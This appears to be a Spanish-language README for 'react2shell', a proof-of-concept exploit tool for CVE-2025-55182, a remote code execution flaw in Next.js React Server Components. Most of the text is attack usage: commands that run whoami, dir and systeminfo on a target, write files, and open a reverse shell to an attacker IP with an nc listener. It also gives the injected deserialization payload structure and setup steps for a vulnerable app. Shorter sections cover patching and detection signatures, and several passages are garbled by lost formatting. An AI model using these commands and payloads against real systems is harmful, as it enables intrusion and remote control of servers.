
Un framework completo para explotar la vulnerabilidad CVE-2025-55182
Un exploit de prueba de concepto para CVE-2025-55182, una vulnerabilidad crítica de Ejecución Remota de Código en aplicaciones Next.js que utilizan React Server Components.
ESTA HERRAMIENTA ES SOLO PARA PRUEBAS DE SEGURIDAD EDUCATIVAS Y AUTORIZADAS.
# Clone or download this repository
git clone https://github.com/zr0n/react2shell
cd react2shell
# Install dependencies
npm install form-data
node react2shell.js <target_url> <payload_type> [options]
node react2shell.js http://localhost:3000 basic
# Check server console for output: EXPLOITED: 50
# Get current user
node react2shell.js http://localhost:3000 whoami
# List files
node react2shell.js http://localhost:3000 dir
# System information
node react2shell.js http://localhost:3000 systeminfo
# Launch calculator
node react2shell.js http://localhost:3000 calc
# Launch notepad
node react2shell.js http://localhost:3000 notepad
node react2shell.js http://localhost:3000 file
# Check server directory for EXPLOITED.txt
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Execute exploit
node react2shell.js http://localhost:3000 shell <YOUR_IP> 4444
# Works on both Windows (PowerShell) and Linux (Bash)
# Create project directory
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app
# Initialize Next.js with vulnerable version
npx create-next-app@latest . --ts --app --no-eslint --tailwind
# Downgrade to vulnerable version
npm install [email protected]
# Install dependencies
npm install
app/page.tsx)export default function Home() {
return (
<div className="p-8">
<h1 className="text-4xl font-bold">Vulnerable Next.js App</h1>
<p className="mt-4">This app is vulnerable to CVE-2025-55182</p>
</div>
);
}
npm run dev
# Server runs on http://localhost:3000
El exploit aprovecha una vulnerabilidad de deserialización en React Server Components:
constructor.constructor para acceder al constructor de Function_prefix// Simplified vulnerability chain
{
_formData: {
get: '$3:constructor:constructor' // Access Function constructor
},
_prefix: 'YOUR_CODE_HERE//' // Injected code
}
Actualizar Inmediatamente:
npm update next@latest
npm update react@latest react-dom@latest
Verificar las Versiones Parcheadas:
npm list next react
Versiones Requeridas:
next-actionBusca solicitudes POST con:
next-actionmultipart/form-dataconstructor, _prefix, _formDataPOST / with next-action header
Suspicious FormData keys: 0, 1, 2, 3, 4
Response: 200 (successful exploitation) or 500 (failed)
Esta es una herramienta educativa. Las contribuciones que mejoren:
son bienvenidas. NO envíes contribuciones que mejoren las capacidades de ataque.
Solo para uso educativo - Sin garantía proporcionada
Luiz Fernando Ziron Creado con fines educativos y de concienciación sobre ciberseguridad.
Al utilizar esta herramienta, aceptas:
El acceso no autorizado a sistemas informáticos es un delito en la mayoría de las jurisdicciones.
Mantente seguro, actúa con ética y dentro de la ley. 🔒
| Payload | Descripción | Ejemplo |
|---|
basic | Prueba de concepto matemática (7*7+1=50) | node react2shell.js http://target:3000 basic |
whoami | Muestra el usuario actual del sistema | node react2shell.js http://target:3000 whoami |
dir | Lista el contenido del directorio actual | node react2shell.js http://target:3000 dir |
systeminfo | Muestra la información del sistema operativo | node react2shell.js http://target:3000 systeminfo |
file | Crea el archivo de prueba EXPLOITED.txt | node react2shell.js http://target:3000 file |
calc | Abre la calculadora (prueba visual en Windows) | node react2shell.js http://target:3000 calc |
notepad | Abre el bloc de notas (prueba visual en Windows) | node react2shell.js http://target:3000 notepad |
shell | Shell inversa (detección automática Windows/Linux) | node react2shell.js http://target:3000 shell 10.10.10.5 4444 |